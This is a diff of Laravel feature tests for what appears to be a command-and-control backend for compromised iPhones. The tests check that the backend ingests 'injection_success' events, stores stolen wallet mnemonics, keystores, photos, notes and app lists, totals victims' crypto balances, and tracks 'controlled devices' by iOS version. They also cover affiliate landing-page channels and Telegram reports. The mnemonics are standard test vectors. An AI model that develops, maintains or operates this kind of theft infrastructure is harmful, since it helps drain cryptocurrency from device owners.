'mnemonic' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
]);
WalletMnemonic::query()->create([
'device_id' => $d1->id,
'source' => 'imToken',
'mnemonic' => 'legal winner thank year wave sausage worth useful legal winner thank yellow',
]);
$this->actingAs($admin, 'admin') $this->actingAs($admin, 'admin')
->getJson(route('admin.dashboard.data', ['range' => '30d'])) ->getJson(route('admin.dashboard.data', ['range' => '30d']))
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('code', 0)
->assertJsonPath('data.total', 2) ->assertJsonPath('data.total', 3)
->assertJsonStructure(['data' => ['total', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'by_os', 'by_ios_version', 'from', 'to']]); ->assertJsonPath('data.mnemonic_count', 2)
->assertJsonPath('data.address_count', 2)
->assertJsonPath('data.balances.usdt', '12')
->assertJsonPath('data.balances.trx', '2')
->assertJsonPath('data.balances.eth', '0.1')
->assertJsonPath('data.balances.btc', '0.001')
->assertJsonPath('data.balances.bnb', '1.25')
->assertJsonPath('data.by_device_ios_version.0.label', '15.8.4')
->assertJsonPath('data.by_device_ios_version.0.count', 2)
->assertJsonPath('data.by_device_ios_version.1.label', '18.5')
->assertJsonPath('data.by_device_ios_version.1.count', 1)
->assertJsonStructure(['data' => ['total', 'wallet_count', 'new_count', 'active_count', 'pv', 'uv', 'effective_pv', 'effective_uv', 'mnemonic_count', 'address_count', 'balances', 'by_os', 'by_ios_version', 'by_device_ios_version', 'from', 'to']]);
} }
#[Test] #[Test]
+66 -40
View File
@@ -19,7 +19,7 @@ class ChannelProjectServiceTest extends TestCase
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
private const NEW_CHANNEL_ID = 'FAFA9988'; private const NEW_CHANNEL_ID = '3.1.07';
protected function setUp(): void protected function setUp(): void
{ {
@@ -32,6 +32,7 @@ class ChannelProjectServiceTest extends TestCase
'coruna.channel_builder_new.python' => 'python3', 'coruna.channel_builder_new.python' => 'python3',
'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'), 'coruna.channel_builder_new.state_root' => storage_path('app/channel-builder-new-test'),
'coruna.channel_domains' => ['fallback.test'], 'coruna.channel_domains' => ['fallback.test'],
'coruna.xxbb.channel_c' => '33333333333333333333333333333333',
]); ]);
} }
@@ -67,6 +68,12 @@ class ChannelProjectServiceTest extends TestCase
file_put_contents($dir.'/index.js', 'const V="CACACACA";'); file_put_contents($dir.'/index.js', 'const V="CACACACA";');
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>'); file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
$details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details) && ! mkdir($details, 0775, true) && ! is_dir($details)) {
$this->fail('unable to create details dir');
}
file_put_contents($details.'/show.html', 'show');
return $dir; return $dir;
} }
@@ -351,12 +358,14 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([ Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([ '*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new', 'builder_type' => 'new',
'channel_code' => self::NEW_CHANNEL_ID, 'channel_id' => self::NEW_CHANNEL_ID,
'channel_ver' => self::NEW_CHANNEL_ID,
'weifile_path' => null, 'weifile_path' => null,
'support_path' => '', 'support_path' => '',
'details_path' => '/details/', 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'daily_path' => '/details/', 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
'domains' => ['deployment' => [], 'reporting' => []], 'domains' => ['deployment' => [], 'reporting' => []],
])), ])),
]); ]);
@@ -371,31 +380,38 @@ class ChannelProjectServiceTest extends TestCase
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']); $this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
$this->assertNull($result['weifile_path']); $this->assertNull($result['weifile_path']);
$this->assertSame('', $result['support_path']); $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $result['support_path']);
$this->assertSame('/details/', $result['daily_path']); $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/details/', $result['daily_path']);
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']); $this->assertSame('/channel/'.self::NEW_CHANNEL_ID, $result['channel_dir']);
Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'build.py')
&& str_contains($joined, '--channel-c')
&& str_contains($joined, '33333333333333333333333333333333')
&& str_contains($joined, '--apply')
&& ! str_contains($joined, '--random-c');
});
Process::assertRan(function ($process) { Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py') return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, '--channel-code') && str_contains($joined, '--channel-ver')
&& str_contains($joined, self::NEW_CHANNEL_ID) && str_contains($joined, self::NEW_CHANNEL_ID)
&& ! str_contains($joined, 'build.py') && str_contains($joined, '--channel-out')
&& ! str_contains($joined, '--apply'); && str_contains($joined, '--landing-template')
&& str_contains($joined, 'test');
}); });
} }
#[Test] #[Test]
public function new_builder_requires_staged_weifile(): void public function new_builder_requires_env_channel_c(): void
{ {
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js'); config(['coruna.xxbb.channel_c' => '']);
if (is_file($index)) {
unlink($index);
}
$this->expectException(RuntimeException::class); $this->expectException(RuntimeException::class);
$this->expectExceptionMessage('请先运行构建脚本'); $this->expectExceptionMessage('XXBB_CHANNEL_C');
app(ChannelProjectService::class)->generate( app(ChannelProjectService::class)->generate(
self::NEW_CHANNEL_ID, self::NEW_CHANNEL_ID,
@@ -413,7 +429,9 @@ class ChannelProjectServiceTest extends TestCase
Process::fake([ Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([ '*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new', 'builder_type' => 'new',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])), ])),
]); ]);
@@ -429,28 +447,29 @@ class ChannelProjectServiceTest extends TestCase
} }
#[Test] #[Test]
public function support_links_use_weifile_path_for_new_builder(): void public function support_links_use_channel_path_for_new_builder(): void
{ {
$channel = new Channel([ $channel = new Channel([
'channel_id' => self::NEW_CHANNEL_ID, 'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW, 'builder_type' => Channel::BUILDER_NEW,
'domains' => ['channel.test'], 'domains' => ['channel.test'],
]); ]);
$this->assertSame([], $channel->supportLinks()); $this->assertSame('/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html', $channel->landingPath());
$this->assertSame('/weifile/weifile.html', $channel->landingPath()); $this->assertSame(['https://channel.test/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html'], $channel->supportLinks());
} }
#[Test] #[Test]
public function store_new_builder_returns_zip_path(): void public function store_new_builder_returns_channel_dir(): void
{ {
$this->stageFakeWeifile(); $this->stageFakeWeifile();
Process::fake([ Process::fake([
'*' => Process::result(output: $this->fakeBuildResult([ '*' => Process::result(output: $this->fakeBuildResult([
'weifile_path' => null, 'weifile_path' => null,
'support_path' => '', 'support_path' => '',
'details_path' => '/details/', 'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'daily_path' => '/details/', 'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', 'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])), ])),
]); ]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -464,25 +483,26 @@ class ChannelProjectServiceTest extends TestCase
->assertOk() ->assertOk()
->assertJsonPath('code', 0) ->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW) ->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip'); ->assertJsonPath('data.channel_dir', '/channel/'.self::NEW_CHANNEL_ID)
->assertJsonPath('data.support_path', '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html');
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first(); $channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertNotNull($channel); $this->assertNotNull($channel);
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType()); $this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
$this->assertNull($response->json('data.weifile_path')); $this->assertNull($response->json('data.weifile_path'));
$this->assertNotEmpty($response->json('data.download_url')); $this->assertNull($response->json('data.zip_path'));
$this->assertNull($response->json('data.download_url'));
Process::assertRan(function ($process) { Process::assertRan(function ($process) {
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command; $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
return str_contains($joined, 'pack_channel.py') return str_contains($joined, 'pack_channel.py')
&& str_contains($joined, self::NEW_CHANNEL_ID) && str_contains($joined, self::NEW_CHANNEL_ID);
&& ! str_contains($joined, 'build.py');
}); });
} }
#[Test] #[Test]
public function destroy_new_builder_deletes_zip_not_details(): void public function destroy_new_builder_deletes_channel_dir_not_shared_details(): void
{ {
Process::fake(); Process::fake();
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
@@ -492,12 +512,14 @@ class ChannelProjectServiceTest extends TestCase
'user_id' => 0, 'user_id' => 0,
'status' => 1, 'status' => 1,
]); ]);
$zipDir = storage_path('app/channel-artifacts-test/channel-source-new'); $channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
if (! is_dir($zipDir)) { if (! is_dir($channelDir.'/weifile') && ! mkdir($channelDir.'/weifile', 0775, true) && ! is_dir($channelDir.'/weifile')) {
mkdir($zipDir, 0775, true); $this->fail('unable to create channel weifile dir');
} }
$zip = $zipDir.'/'.self::NEW_CHANNEL_ID.'.zip'; if (! is_dir($channelDir.'/details') && ! mkdir($channelDir.'/details', 0775, true) && ! is_dir($channelDir.'/details')) {
file_put_contents($zip, 'zip'); $this->fail('unable to create channel dir');
}
file_put_contents($channelDir.'/weifile/weifile.html', 'landing');
$details = storage_path('app/channel-artifacts-test/details'); $details = storage_path('app/channel-artifacts-test/details');
if (! is_dir($details)) { if (! is_dir($details)) {
mkdir($details, 0775, true); mkdir($details, 0775, true);
@@ -515,16 +537,20 @@ class ChannelProjectServiceTest extends TestCase
return str_contains($joined, 'delete_channel.py') return str_contains($joined, 'delete_channel.py')
|| str_contains($joined, 'delete_channel_web.py'); || str_contains($joined, 'delete_channel_web.py');
}); });
$this->assertFileDoesNotExist($zip); $this->assertDirectoryDoesNotExist($channelDir);
$this->assertFileExists($details.'/show.html'); $this->assertFileExists($details.'/show.html');
$this->assertDatabaseMissing('channels', ['id' => $channel->id]); $this->assertDatabaseMissing('channels', ['id' => $channel->id]);
} }
#[Test] #[Test]
public function reserved_names_cannot_be_new_channel_ids(): void public function version_format_required_for_new_channel_ids(): void
{ {
$this->assertNull(Channel::normalizeNewChannelId('ADMIN')); $this->assertNull(Channel::normalizeNewChannelId('FAFA9988'));
$this->assertNull(Channel::normalizeNewChannelId('weifile')); $this->assertNull(Channel::normalizeNewChannelId('2.2.6'));
$this->assertSame('FAFA9988', Channel::normalizeNewChannelId('fafa9988')); $this->assertNull(Channel::normalizeNewChannelId('22.2.66'));
$this->assertSame('3.1.07', Channel::normalizeNewChannelId('3.1.07'));
$this->assertSame('2.2.66', Channel::normalizeNewChannelId('2.2.66'));
$this->assertSame('A.B.C1', Channel::normalizeNewChannelId('a.b.c1'));
$this->assertSame('X.9.Z0', Channel::normalizeNewChannelId('x.9.z0'));
} }
} }
+104
View File
@@ -0,0 +1,104 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\User;
use App\Services\FilterOptionsService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class FilterOptionsTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_channel_options_include_remark_label_and_cache(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Channel::query()->create([
'channel_id' => '0.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => '测试',
]);
Channel::query()->create([
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'builder_type' => Channel::BUILDER_OLD,
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
'remark' => null,
]);
Cache::flush();
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.channels'))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonFragment(['value' => '0.0.01', 'label' => '0.0.01/测试'])
->assertJsonFragment(['value' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa', 'label' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa']);
$this->assertTrue(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
#[Test]
public function admin_agent_options_include_comment_label(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$agent = User::query()->create([
'username' => 'agent1',
'password' => 'secret12',
'status' => 1,
'comment' => '华东',
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.filterOptions.agents'))
->assertOk()
->assertJsonFragment(['value' => (string) $agent->id, 'label' => 'agent1/华东']);
}
#[Test]
public function agent_only_sees_own_channels(): void
{
$agent = User::query()->create(['username' => 'a1', 'password' => 'secret12', 'status' => 1]);
$other = User::query()->create(['username' => 'a2', 'password' => 'secret12', 'status' => 1]);
Channel::query()->create([
'channel_id' => '1.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $agent->id,
'status' => 1,
'remark' => '我的',
]);
Channel::query()->create([
'channel_id' => '2.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => $other->id,
'status' => 1,
'remark' => '别人的',
]);
$this->actingAs($agent, 'agent')
->getJson(route('user.filterOptions.channels'))
->assertOk()
->assertJsonFragment(['value' => '1.0.01', 'label' => '1.0.01/我的'])
->assertJsonMissing(['value' => '2.0.01']);
}
#[Test]
public function channel_save_busts_options_cache(): void
{
Cache::put(FilterOptionsService::CACHE_CHANNELS_ADMIN, [['value' => 'x', 'label' => 'x']], 300);
Channel::query()->create([
'channel_id' => '3.0.01',
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
$this->assertFalse(Cache::has(FilterOptionsService::CACHE_CHANNELS_ADMIN));
}
}
+75 -105
View File
@@ -4,10 +4,8 @@ namespace Tests\Feature;
use App\Models\Channel; use App\Models\Channel;
use App\Models\Device; use App\Models\Device;
use App\Models\PageVisit;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Cache;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase; use Tests\TestCase;
@@ -17,20 +15,21 @@ class NewBuilderIngestTest extends TestCase
private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b'; private const SHARED_C = '202700cfb1ad3de68e11239dcc26c30b';
private const CHANNEL_ID = 'FAFA9988'; private const CHANNEL_ID = '3.1.07';
private function xxbbPost(string $path, array $payload, string $ts = '1786468227899') private function xxbbPost(string $path, array $payload, string $ts = '1786468227899', array $headers = [])
{ {
$enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts); $enc = (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson($payload, $ts);
$server = array_merge([
return $this->call('POST', $path, [], [], [], [
'CONTENT_TYPE' => 'text/plain', 'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => $ts, 'HTTP_X_TS' => $ts,
], $enc['body']); ], $headers);
return $this->call('POST', $path, [], [], [], $server, $enc['body']);
} }
#[Test] #[Test]
public function new_builder_device_uses_recent_visit_not_native_c(): void public function core_routes_write_channel_from_ver_header(): void
{ {
Channel::query()->create([ Channel::query()->create([
'channel_id' => self::CHANNEL_ID, 'channel_id' => self::CHANNEL_ID,
@@ -38,104 +37,74 @@ class NewBuilderIngestTest extends TestCase
'user_id' => 0, 'user_id' => 0,
'status' => 1, 'status' => 1,
]); ]);
Cache::flush();
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'REMOTE_ADDR' => '203.0.113.9',
], json_encode([
'channelCode' => 'fafa9988',
'deviceVersion' => 'iOS 16.6',
'domain' => 'landing.example',
'sessionId' => '11111111-2222-4333-8444-555555555555',
]))->assertOk();
$this->call('POST', '/event', [], [], [], [ $this->xxbbPost('/event', [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E', 'd' => '000C30D83CD0402E',
'f' => '000C30D83CD0402E', 'f' => '000C30D83CD0402E',
'c' => self::SHARED_C, 'c' => self::SHARED_C,
'et' => 'injection_success', 'et' => 'injection_success',
'm' => 'iPhone12,8', 'm' => 'iPhone12,8',
'pv' => '16.6', 'pv' => '16.6',
], '1786468227899')['body'])->assertOk(); ], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id); $this->assertSame(self::CHANNEL_ID, $device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertNotSame(self::SHARED_C, $device->channel_id); $this->assertNotSame(self::SHARED_C, $device->channel_id);
} }
#[Test] #[Test]
public function new_builder_device_matches_visit_across_ipv4_and_ipv6(): void public function core_routes_prefer_ver_over_sdkv(): void
{ {
Channel::query()->create([ $this->xxbbPost('/a', [
'channel_id' => self::CHANNEL_ID, 'd' => '000C30D83CD0402E',
'builder_type' => Channel::BUILDER_NEW, 'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
'user_id' => 0, ], '1786468227899', [
'status' => 1, 'HTTP_VER' => '4.2.01',
]); 'HTTP_SDKV' => '5.5.55',
PageVisit::query()->create([ ])->assertOk();
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->call('POST', '/event', [], [], [], [ $device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
'CONTENT_TYPE' => 'text/plain', $this->assertSame('4.2.01', $device->channel_id);
'HTTP_X_TS' => '1786468227899', }
'REMOTE_ADDR' => '2001:db8::9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([ #[Test]
public function core_routes_accept_sdkv_when_ver_missing(): void
{
$this->xxbbPost('/u', [
'd' => '000C30D83CD0402E', 'd' => '000C30D83CD0402E',
'c' => self::SHARED_C, 'c' => self::SHARED_C,
'et' => 'injection_success', 'al' => [],
], '1786468227899')['body'])->assertOk(); ], '1786468227899', [
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function non_core_routes_do_not_write_channel_id(): void
{
$this->xxbbPost('/uj', [
'd' => '000C30D83CD0402E',
'a' => 'b',
'result' => 'abandon ability able about above absent absorb abstract absurd abuse access',
], '1786468227899', [
'HTTP_VER' => self::CHANNEL_ID,
'HTTP_SDKV' => self::CHANNEL_ID,
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNotNull($device); $this->assertNotNull($device);
$this->assertSame(self::CHANNEL_ID, $device->channel_id); $this->assertNull($device->channel_id);
$this->assertSame('landing.example', $device->source_domain);
$this->assertSame('2001:db8::9', $device->ip);
} }
#[Test] #[Test]
public function new_builder_device_matches_ipv4_mapped_ipv6(): void public function core_without_ver_headers_still_creates_device(): void
{
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '::ffff:203.0.113.9',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->call('POST', '/event', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_X_TS' => '1786468227899',
'REMOTE_ADDR' => '203.0.113.9',
], (new CorunaCrypto('Ek8pl31K2yeHgQwy'))->encryptJson([
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899')['body'])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $device->channel_id);
}
#[Test]
public function new_builder_device_without_visit_is_still_created(): void
{ {
$this->xxbbPost('/event', [ $this->xxbbPost('/event', [
'd' => '000C30D83CD0402E', 'd' => '000C30D83CD0402E',
@@ -150,6 +119,21 @@ class NewBuilderIngestTest extends TestCase
$this->assertNull($device->source_domain); $this->assertNull($device->source_domain);
} }
#[Test]
public function invalid_ver_header_does_not_write_channel_id(): void
{
$this->xxbbPost('/event', [
'd' => '000C30D83CD0402E',
'c' => self::SHARED_C,
'et' => 'injection_success',
], '1786468227899', [
'HTTP_VER' => 'FAFA9988',
])->assertOk();
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
$this->assertNull($device->channel_id);
}
#[Test] #[Test]
public function old_builder_put_still_writes_payload_c(): void public function old_builder_put_still_writes_payload_c(): void
{ {
@@ -173,37 +157,23 @@ class NewBuilderIngestTest extends TestCase
} }
#[Test] #[Test]
public function claimed_visit_is_not_reused_by_second_device(): void public function later_core_request_fills_empty_channel_id(): void
{ {
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
PageVisit::query()->create([
'channel_id' => self::CHANNEL_ID,
'client_uid' => 'landing.example',
'ip' => '127.0.0.1',
'domain' => 'landing.example',
'created_at' => now(),
]);
$this->xxbbPost('/event', [ $this->xxbbPost('/event', [
'd' => '000C30D83CD0402E', 'd' => '000C30D83CD0402E',
'c' => self::SHARED_C, 'c' => self::SHARED_C,
'et' => 'injection_success', 'et' => 'injection_success',
])->assertOk(); ])->assertOk();
$this->xxbbPost('/event', [
'd' => '111C30D83CD0402E', $this->assertNull(Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
'c' => self::SHARED_C,
'et' => 'injection_success', $this->xxbbPost('/a', [
'd' => '000C30D83CD0402E',
'deviceInfo' => ['productType' => 'iPhone12,8', 'productVersion' => '16.6'],
], '1786468227900', [
'HTTP_VER' => self::CHANNEL_ID,
])->assertOk(); ])->assertOk();
$first = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertSame(self::CHANNEL_ID, Device::query()->where('device_id', '000C30D83CD0402E')->value('channel_id'));
$second = Device::query()->where('device_id', '111C30D83CD0402E')->first();
$this->assertSame(self::CHANNEL_ID, $first->channel_id);
$this->assertNull($second->channel_id);
$this->assertNotNull($second);
} }
} }
+20 -3
View File
@@ -16,6 +16,23 @@ class PageVisitTest extends TestCase
private const CHANNEL = 'fe398bc1add87202c04c27293a032634'; private const CHANNEL = 'fe398bc1add87202c04c27293a032634';
#[Test]
public function hit_records_new_builder_version_channel(): void
{
Cache::flush();
$channel = '3.1.07';
$this->call('GET', '/statistic/t', [
'c' => $channel,
'u' => '11111111-2222-4333-8444-555555555555',
'p' => '/channel/'.$channel.'/weifile/weifile.html',
])->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame($channel, $row->channel_id);
}
#[Test] #[Test]
public function hit_records_visit_with_parsed_ua(): void public function hit_records_visit_with_parsed_ua(): void
{ {
@@ -209,10 +226,10 @@ class PageVisitTest extends TestCase
->assertJsonPath('data.effective_pv', 3) ->assertJsonPath('data.effective_pv', 3)
->assertJsonPath('data.effective_uv', 2) ->assertJsonPath('data.effective_uv', 2)
->assertJsonPath('data.by_os.0.label', 'iOS') ->assertJsonPath('data.by_os.0.label', 'iOS')
->assertJsonPath('data.by_os.0.pv', 5) ->assertJsonPath('data.by_os.0.uv', 4)
->assertJsonPath('data.by_os.1.label', '其他') ->assertJsonPath('data.by_os.1.label', '其他')
->assertJsonPath('data.by_os.1.pv', 1) ->assertJsonPath('data.by_os.1.uv', 1)
->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv']]); ->assertJsonStructure(['data' => ['by_os', 'by_ios_version', 'by_device_ios_version', 'pv', 'uv', 'effective_pv', 'effective_uv', 'total', 'wallet_count', 'balances', 'mnemonic_count', 'address_count']]);
} }
#[Test] #[Test]
+4
View File
@@ -287,6 +287,10 @@ class TelegramBotTest extends TestCase
$last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]); $last = FakeNutgram::getActualData(array_values($history[array_key_last($history)])[0]);
$text = $last['text'] ?? ''; $text = $last['text'] ?? '';
$this->assertStringContainsString('页面 PV: 1 / 2', $text); $this->assertStringContainsString('页面 PV: 1 / 2', $text);
$this->assertStringContainsString('设备与资产', $text);
$this->assertStringContainsString('总余额', $text);
$this->assertStringContainsString('助记词', $text);
$this->assertStringContainsString('受控设备 · 系统版本', $text);
$this->assertStringContainsString('按 iOS 版本', $text); $this->assertStringContainsString('按 iOS 版本', $text);
$this->assertStringContainsString($channel, $text); $this->assertStringContainsString($channel, $text);
} }
+1 -117
View File
@@ -6,7 +6,6 @@ use App\Models\Device;
use App\Models\DeviceApp; use App\Models\DeviceApp;
use App\Models\DeviceEvent; use App\Models\DeviceEvent;
use App\Models\Note; use App\Models\Note;
use App\Models\PageVisit;
use App\Models\Photo; use App\Models\Photo;
use App\Models\WalletAddress; use App\Models\WalletAddress;
use App\Models\WalletKeystore; use App\Models\WalletKeystore;
@@ -14,7 +13,6 @@ use App\Models\WalletMnemonic;
use App\Services\CorunaCrypto; use App\Services\CorunaCrypto;
use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Http\UploadedFile; use Illuminate\Http\UploadedFile;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test; use PHPUnit\Framework\Attributes\Test;
@@ -46,87 +44,6 @@ class XxbbC2ApiTest extends TestCase
$this->call('HEAD', '/vhx')->assertOk(); $this->call('HEAD', '/vhx')->assertOk();
} }
#[Test]
public function iptj_records_page_visit(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 16.6',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('56885688', $row->channel_id);
$this->assertSame('xxbb.tv', $row->domain);
$this->assertSame(PageVisit::visitorUid('xxbb.tv', $row->ip), $row->client_uid);
$this->assertNotSame('xxbb.tv', $row->client_uid);
$this->assertSame('iOS', $row->os);
$this->assertSame('16.6', $row->os_version);
$this->assertNull($row->session_id);
}
#[Test]
public function iptj_prefers_ua_patch_over_coarse_device_version(): void
{
Cache::flush();
$ua = 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Mobile/15E148 Safari/604.1';
$this->call('POST', '/api/iptj', [], [], [], [
'CONTENT_TYPE' => 'application/json',
'HTTP_USER_AGENT' => $ua,
], json_encode([
'channelCode' => '56885688',
'deviceVersion' => 'iOS 15.8',
'domain' => 'xxbb.tv',
]))->assertOk();
$row = PageVisit::query()->first();
$this->assertNotNull($row);
$this->assertSame('iOS', $row->os);
$this->assertSame('15.8.4', $row->os_version);
$this->assertSame('Safari', $row->browser);
